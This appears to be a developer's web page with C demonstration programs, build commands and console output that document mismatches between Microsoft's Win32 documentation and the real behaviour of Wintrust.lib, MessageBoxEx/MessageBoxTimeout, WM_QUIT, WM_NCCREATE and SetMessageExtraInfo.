FOR %? IN (Wintrust.lib) DO SET WINTRUST=%~$LIB:? LINK.EXE /DUMP /EXPORTS /OUT:wintrust.txt "%WINTRUST%" FIND.EXE "OpenPersonalTrustDBDialog" wintrust.txt FIND.EXE "Wintrust" wintrust.txt FIND.EXE "WTHelper" wintrust.txtNote: the environment variable
LIB
is
set by the
Windows Software Development Kit for Windows 7
– see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
SET WINTRUST=C:\Program Files\Microsoft SDKs\Windows\v7.1\Lib\Wintrust.Lib Microsoft (R) COFF/PE Dumper Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. ---------- WINTRUST.TXT _OpenPersonalTrustDBDialog@4 _OpenPersonalTrustDBDialogEx@12 ---------- WINTRUST.TXT _WintrustAddActionID@12 _WintrustAddDefaultForUsage@8 _WintrustCertificateTrust@4 _WintrustGetDefaultForUsage@12 _WintrustGetRegPolicyFlags@4 _WintrustLoadFunctionPointers@8 _WintrustRemoveActionID@4 _WintrustSetDefaultIncludePEPageHashes@4 _WintrustSetRegPolicyFlags@4 ---------- WINTRUST.TXT _WTHelperCertCheckValidSignature@4 _WTHelperCertIsSelfSigned@8 _WTHelperCheckCertUsage@8 _WTHelperGetAgencyInfo@12 _WTHelperGetFileHandle@4 _WTHelperGetFileHash@24 _WTHelperGetFileName@4 _WTHelperGetKnownUsages@8 _WTHelperGetProvCertFromChain@8 _WTHelperGetProvPrivateDataFromChain@8 _WTHelperGetProvSignerFromChain@16 _WTHelperIsInRootStore@8 _WTHelperOpenKnownStores@4 _WTHelperProvDataFromStateData@4OUCH: contrary to the highlighted statements of their documentations cited above, not just the Windows Software Development Kit for Windows 7 but ships with an
associated import library
Wintrust.lib
for these 13 Win32 functions!
Create the text file wintrust.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wintrust.h>
FARPROC wintrust[] = {OpenPersonalTrustDBDialog,
OpenPersonalTrustDBDialogEx,
WintrustAddActionID,
WintrustGetRegPolicyFlags,
WintrustLoadFunctionPointers,
WintrustRemoveActionID,
WintrustSetDefaultIncludePEPageHashes,
WintrustSetRegPolicyFlags,
WTHelperCertIsSelfSigned,
WTHelperGetProvCertFromChain,
WTHelperGetProvPrivateDataFromChain,
WTHelperGetProvSignerFromChain,
WTHelperProvDataFromStateData};
Compile and link the source file wintrust.c
created in
step 2. to show that the associated import library
Wintrust.lib
can be linked statically:
SET CL=/W4 /Zl SET LINK=/DLL /NODEFAULTLIB /NOENTRY CL.EXE wintrust.c wintrust.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. wintrust.c wintrust.c(12) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(DWORD *)' to 'FARPROC' wintrust.c(15) : warning C4133: 'initializing' : incompatible types - from 'void (__stdcall *)(BOOL)' to 'FARPROC' wintrust.c(18) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_CERT *(__stdcall *)(CRYPT_PROVIDER_SGNR *,DWORD)' wintrust.c(19) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_PRIVDATA *(__stdcall *)(CRYPT_PROVIDER_DATA *,GUID *)' wintrust.c(20) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_SGNR *(__stdcall *)(CRYPT_PROVIDER_DATA *,DWORD,BOOL,DWORD)' wintrust.c(21) : warning C4047: 'initializing' : 'FARPROC' differs in levels of indirection from 'CRYPT_PROVIDER_DATA *(__stdcall *)(HANDLE)' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DLL /NODEFAULTLIB /NOENTRY /out:wintrust.exe wintrust.obj wintrust.libOUCH: contrary to the highlighted statements of their documentations cited above, these 13 Win32 functions can be linked statically with their import library
wintrust.lib
!
MessageBoxEx()
states:
Creates, displays, and operates a message box. The message box contains an application-defined message and title, plus any combination of predefined icons and push buttons. The buttons are in the language of the system user interface.OUCH¹: the first and last highlighted statements of the documentation cited above but contradict each other – ifCurrently MessageBoxEx and MessageBox work the same way.
[…]
[in] wLanguageId
The language for the text displayed in the message box button(s). Specifying a value of zero (0) indicates to display the button text in the default system language. If this parameter is
MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
, the current language associated with the calling thread is used.To specify a language other than the current language, use the MAKELANGID macro to create this parameter. For more information, see MAKELANGID.
[…]
Requirement Value … … Header winuser.h (include Windows.h) Library user32.lib DLL user32.dll
MessageBoxEx()
works like
MessageBox()
it must ignore (the value of) its wLanguageId
parameter!
OUCH²: contrary to the second highlighted
statement of the documentation cited above, the default system
language is but specified with
MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT)
– 0 alias
MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
specifies the current language of the calling thread!
Note: the header file winuser.h
shipped with the
Platform SDK
for Windows XP as well as later versions defines the
preprocessor macro IDTIMEOUT
for one of the return
values of the MessageBox*()
functions, and
user32.dll
plus its import library
user32.lib
provide yet
another but undocumented function to display a
message box – MessageBoxTimeout()
.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#if _WIN32_WINNT > 0x0500
__declspec(deprecated("undocumented interface, use at your own risk"))
__declspec(dllimport)
INT WINAPI MessageBoxTimeoutA(HWND hwnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType,
LANGID wLanguageId,
DWORD dwMilliseconds);
__declspec(deprecated("undocumented interface, use at your own risk"))
__declspec(dllimport)
INT WINAPI MessageBoxTimeoutW(HWND hwnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType,
LANGID wLanguageId,
DWORD dwMilliseconds);
#define MB_INFINITE 0UL
#ifdef UNICODE
#define MessageBoxTimeout MessageBoxTimeoutW
#else
#define MessageBoxTimeout MessageBoxTimeoutA
#endif
#endif // _WIN32_WINNT
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
INT id = MessageBoxTimeout(HWND_DESKTOP,
L"Supercalifragilisticexpialidocious",
L"Blunder",
MB_YESNOCANCEL,
MAKELANGID(LANG_INVARIANT, SUBLANG_NEUTRAL),
0x815UL);
if (id == 0)
ExitProcess(GetLastError());
if (id == IDTIMEOUT)
ExitProcess(ERROR_TIMEOUT);
ExitProcess(-id);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/we4013 /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4996: 'MessageBoxTimeoutW': undocumented interface, use at your own risk blunder.c(21) : see declaration of 'MessageBoxTimeoutW' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5b4 (WIN32: 1460 ERROR_TIMEOUT) -- 1460 (1460) Error message text: This operation returned because the timeout period expired. CertUtil: -error command completed successfully.OUCH: despite the invariant language requested with the
wLanguageId
parameter the
button texts are but in the current language of the calling thread!
The system passes all input for an application to the various windows in the application. Each window has a function, called a window procedure, that the system calls whenever it has input for the window. The window procedure processes the input and returns control to the system. […]The documentation for theWith the exception of the WM_PAINT WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, the system always posts messages at the end of a message queue. This ensures that a window receives its input messages in the proper first in, first out (FIFO) sequence. The WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, however, are kept in the queue and are forwarded to the window procedure only when the queue contains no other messages. In addition, multiple WM_PAINT messages for the same window are combined into a single WM_PAINT message, consolidating all invalid parts of the client area into a single area. Combining WM_PAINT messages reduces the number of times a window must redraw the contents of its client area.
WM_QUIT
message but specifies:
Indicates a request to terminate an application, and is generated when the application calls the PostQuitMessage function. This message causes the GetMessage function to return zero.OUCH⁰: the highlighted statements of both documentations contradict each other – the first documentation cited above is wrong, the[…]
This message does not have a return value because it causes the message loop to terminate before the message is sent to the application's window procedure.
[…]
The WM_QUIT message is not associated with a window and therefore will never be received through a window's window procedure. It is retrieved only by the GetMessage or PeekMessage functions.
WM_QUIT
message is not forwarded to the
window procedure!
The documentation for the Win32 function
PostQuitMessage()
states:
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.The documentation for the Win32 functionvoid PostQuitMessage( [in] int nExitCode )
[in] nExitCode
The application exit code. This value is used as the wParam parameter of the WM_QUIT message.
DefWindowProc()
states:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.The documentation for the
WM_NCDESTROY
message specifies:
Notifies a window that its nonclient area is being destroyed. The DestroyWindow function sends the WM_NCDESTROY message to the window following the WM_DESTROY message. WM_DESTROY is used to free the allocated memory object associated with the window.The documentation for theThe WM_NCDESTROY message is sent after the child windows have been destroyed. In contrast, WM_DESTROY is sent before the child windows are destroyed.
A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return zero.
WM_DESTROY
message specifies:
Sent when a window is being destroyed. It is sent to the window procedure of the window being destroyed after the window is removed from the screen.The documentation for theThis message is sent first to the window being destroyed and then to the child windows (if any) as they are destroyed. During the processing of the message, it can be assumed that all child windows still exist.
A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return zero.
WM_CLOSE
message specifies:
Sent as a signal that a window or an application should terminate.The documentation for the[…]
If an application processes this message, it should return zero.
[…]
By default, the DefWindowProc function calls the DestroyWindow function to destroy the window.
WM_NCCREATE
message states:
Sent prior to the WM_CREATE message when a window is first created.A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef BLUNDER
LRESULT WINAPI WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
switch (uMessage)
{
#if BLUNDER == 1
case WM_NCCREATE:
// CAVEAT: DefWindowProc() must be called in response to the
// WM_NCCREATE message to register the window title!
return (LRESULT) TRUE;
#endif
// case WM_CREATE:
// case WM_DESTROY:
// case WM_NULL:
//
// return (LRESULT) FALSE;
case WM_NCDESTROY:
PostQuitMessage(0);
}
return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
#endif // BLUNDER
extern const IMAGE_DOS_HEADER __ImageBase;
const WNDCLASSEX wce = {sizeof(wce),
CS_DBLCLKS,
#ifndef BLUNDER // CAVEAT: DefWindowProc() does not call PostQuitMessage()
// in response to the WM_DESTROY message!
DefWindowProc,
#else
WindowProc,
#endif
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCWSTR) NULL,
L"Blunder Demonstration Class",
(HICON) NULL};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
LRESULT lResult;
BOOL bResult;
MSG msg;
if (RegisterClassEx(&wce) == (ATOM) 0)
dwError = GetLastError();
else
{
if (CreateWindowEx(WS_EX_APPWINDOW,
wce.lpszClassName,
L"Blunder Demonstration Window",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
wce.hInstance,
NULL) == NULL)
dwError = GetLastError();
else
{
while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessage(&msg);
}
dwError = bResult < 0 ? GetLastError() : msg.wParam;
}
if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
dwError = GetLastError();
}
ExitProcess(dwError);
}
About Atom Tables
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(43) : warning C4232: nonstandard extension used : 'lpfnWndProc' : address of dllimport 'DefWindowProcW' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\winuser.h(3640) : see declaration of 'DefWindowProcW' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and close its window to demonstrate the first blunder:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%OUCH¹: although the application window titled
Blunder Demonstration Windowwas closed, the Command Processor waits for the child process to terminate – the Win32 function
DefWindowProc()
does not provide the typical responseto the
WM_DESTROY
message, i.e. it does not call the
PostQuitMessage()
function to send the
WM_QUIT
message required to terminate the
message loop
of the child process!
Press the Ctrl C keyboard shortcut to terminate the console application.
^C
0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510) Error message text: {Application Exit by CTRL+C} The application terminated as a result of a CTRL+C. CertUtil: -error command completed successfully.
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 5. to demonstrate the second blunder, then close its
window:
.\blunder.exe ECHO %ERRORLEVEL%
0
DefWindowProc(0x12345678, 0x0024 = WM_GETMINMAXINFO, 0x00000000, 0x004BF528) returned 0 DefWindowProc(0x12345678, 0x0081 = WM_NCCREATE, 0x00000000, 0x004BF51C) returned 1 DefWindowProc(0x12345678, 0x0083 = WM_NCCALCSIZE, 0x00000000, 0x004BF508) returned 0 DefWindowProc(0x12345678, 0x0001 = WM_CREATE, 0x00000000, 0x004BF51C) returned 0 DefWindowProc(0x12345678, 0x0018 = WM_SHOWWINDOW, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000001, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x004BDA6C) returned 28 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000001, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000001, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0007 = WM_SETFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x004BDA6C) returned 28 DefWindowProc(0x12345678, 0x0085 = WM_NCPAINT, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0014 = WM_ERASEBKGND, 0xD9010D49, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x0005 = WM_SIZE, 0x00000000, 0x03360598) returned 0 DefWindowProc(0x12345678, 0x0003 = WM_MOVE, 0x00000000, 0x00430030) returned 0 DefWindowProc(0x12345678, 0x000F = WM_PAINT, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0xC0AA = wm_registered + …, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000012, 0x20380001) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000073, 0x203E0001) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BE420) returned 0 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x004BE420) returned 0 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000000, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000000, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x0008 = WM_KILLFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000000, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0002 = WM_DESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0082 = WM_NCDESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0010 = WM_CLOSE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0112 = WM_SYSCOMMAND, 0x0000F060, 0x00000000) returned 0OUCH²: the application window is displayed without its title
Blunder Demonstration Window– contrary to the highlighted statement of the last documentation cited above, an application’s
WindowProc()
function must not return TRUE
in
response to the
WM_NCCREATE
message, but needs to call the
DefWindowProc()
function instead!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
BLUNDER
defined as 0:
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 7. to demonstrate its proper function, then close its
window:
.\blunder.exe ECHO %ERRORLEVEL%
0
DefWindowProc(0x12345678, 0x0024 = WM_GETMINMAXINFO, 0x00000000, 0x001BFA10) returned 0 DefWindowProc(0x12345678, 0x0081 = WM_NCCREATE, 0x00000000, 0x001BFA04) returned 1 DefWindowProc(0x12345678, 0x0083 = WM_NCCALCSIZE, 0x00000000, 0x001BF9F0) returned 0 DefWindowProc(0x12345678, 0x0001 = WM_CREATE, 0x00000000, 0x001BFA04) returned 0 DefWindowProc(0x12345678, 0x0018 = WM_SHOWWINDOW, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000001, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x001BDF58) returned 28 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000001, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000001, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0007 = WM_SETFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x001BDF58) returned 28 DefWindowProc(0x12345678, 0x0085 = WM_NCPAINT, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0014 = WM_ERASEBKGND, 0x9E010D49, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x0005 = WM_SIZE, 0x00000000, 0x03360598) returned 0 DefWindowProc(0x12345678, 0x0003 = WM_MOVE, 0x00000000, 0x010900F6) returned 0 DefWindowProc(0x12345678, 0x000F = WM_PAINT, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0xC0AA = wm_registered + …, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000012, 0x20380001) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000073, 0x203E0001) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BE910) returned 0 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x001BE910) returned 0 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000000, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000000, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x0008 = WM_KILLFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000000, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0002 = WM_DESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0082 = WM_NCDESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0010 = WM_CLOSE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0112 = WM_SYSCOMMAND, 0x0000F060, 0x00000000) returned 0
SetMessageExtraInfo()
states:
Sets the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue. An application can use the GetMessageExtraInfo function to retrieve a thread's extra message information.The documentation for the Win32 functionLPARAM SetMessageExtraInfo( [in] LPARAM lParam );
[in] lParam
The value to be associated with the current thread.
The return value is the previous value associated with the current thread.
GetMessageExtraInfo()
states:
Retrieves the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue.LPARAM GetMessageExtraInfo();
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
LRESULT WINAPI WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
PrintConsole(hError,
L"SetMessageExtraInfo(…) returned %Id\n",
SetMessageExtraInfo(GetMessageExtraInfo() - 1));
switch (uMessage)
{
case WM_PAINT:
if (DestroyWindow(hWindow))
break;
SetWindowLong(hWindow, GWL_USERDATA, GetLastError());
PrintConsole(hError,
L"DestroyWindow() returned error %lu\n",
GetWindowLong(hWindow, GWL_USERDATA));
case WM_NCDESTROY:
PostQuitMessage(GetWindowLong(hWindow, GWL_USERDATA));
}
return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
extern const IMAGE_DOS_HEADER __ImageBase;
const WNDCLASSEX wce = {sizeof(wce),
CS_DBLCLKS,
WindowProc,
0, 0,
(HINSTANCE) &__ImageBase,
(HICON) NULL,
(HCURSOR) NULL,
(HBRUSH) COLOR_BACKGROUND,
(LPCWSTR) NULL,
L"Blunder Demonstration Class",
(HICON) NULL};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
DWORD dwError;
LRESULT lResult;
BOOL bResult;
MSG msg;
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
if (RegisterClassEx(&wce) == (ATOM) 0)
PrintConsole(hError,
L"RegisterClassEx() returned error %lu\n",
dwError = GetLastError());
else
{
if (CreateWindowEx(WS_EX_APPWINDOW,
wce.lpszClassName,
L"Blunder Demonstration Window",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
(HWND) NULL,
(HMENU) NULL,
wce.hInstance,
NULL) == NULL)
PrintConsole(hError,
L"CreateWindowEx() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"SetMessageExtraInfo(123456789) returned %Id\n",
SetMessageExtraInfo((LPARAM) 123456789));
while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
{
if (TranslateMessage(&msg))
;
lResult = DispatchMessage(&msg);
}
if (bResult < 0)
PrintConsole(hError,
L"GetMessage() returned error %lu\n",
dwError = GetLastError());
else
dwError = msg.wParam;
PrintConsole(hError,
L"GetMessageExtraInfo() returned %Id\n",
GetMessageExtraInfo());
}
if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
PrintConsole(hError,
L"UnregisterClass() returned error %lu\n",
dwError = GetLastError());
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 SetMessageExtraInfo(…) returned -2 SetMessageExtraInfo(…) returned -3 SetMessageExtraInfo(…) returned -4 SetMessageExtraInfo(…) returned -5 SetMessageExtraInfo(…) returned -6 SetMessageExtraInfo(…) returned -7 SetMessageExtraInfo(…) returned -8 SetMessageExtraInfo(…) returned -9 SetMessageExtraInfo(…) returned -10 SetMessageExtraInfo(…) returned -11 SetMessageExtraInfo(…) returned -12 SetMessageExtraInfo(…) returned -13 SetMessageExtraInfo(…) returned -14 SetMessageExtraInfo(…) returned -15 SetMessageExtraInfo(…) returned -16 SetMessageExtraInfo(…) returned -17 SetMessageExtraInfo(…) returned -18 SetMessageExtraInfo(…) returned -19 SetMessageExtraInfo(123456789) returned -20 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 